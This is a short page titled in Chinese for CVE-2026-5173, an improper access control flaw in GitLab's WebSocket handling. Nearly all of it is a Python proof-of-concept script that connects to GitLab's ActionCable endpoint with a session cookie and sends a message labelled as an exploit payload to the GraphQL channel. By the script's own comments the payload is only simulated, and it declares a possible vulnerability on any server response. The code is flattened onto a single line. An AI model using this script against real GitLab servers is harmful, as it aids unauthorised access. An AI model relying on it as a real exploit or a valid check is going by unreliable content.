CVE-2026-5173 GitLab WebSocket访问控制不当漏洞

import asyncio import websockets import json async def cve_2026_5173_poc(target_url, auth_token): """ PoC for CVE-2026-5173: GitLab WebSocket Improper Access Control This script attempts to invoke unintended server-side methods. """ # GitLab ActionCable WebSocket endpoint uri = f"wss://{target_url}/-/cable" headers = { "Cookie": f"_gitlab_session={auth_token}" } try: print(f"[+] Connecting to {uri}...") async with websockets.connect(uri, extra_headers=headers) as websocket: # Subscription command to a channel (example) subscribe_msg = { "command": "subscribe", "identifier": json.dumps({"channel": "GraphqlChannel"}) } await websocket.send(json.dumps(subscribe_msg)) print("[+] Subscription sent.") # Attempt to invoke an unintended method (Simulated payload) # In a real scenario, this would target specific exposed methods exploit_payload = { "command": "message", "identifier": json.dumps({"channel": "GraphqlChannel"}), "data": json.dumps({ "query": "query { currentUser { username } }", "variables": {}, "action": "execute" }) } print(f"[*] Sending exploit payload: {exploit_payload}") await websocket.send(json.dumps(exploit_payload)) response = await websocket.recv() print(f"[+] Server Response: {response}") if response: print("[!] Potential vulnerability confirmed if unauthorized data returned.") except Exception as e: print(f"[-] Error occurred: {e}") # Usage: asyncio.run(cve_2026_5173_poc("gitlab.example.com", "valid_token"))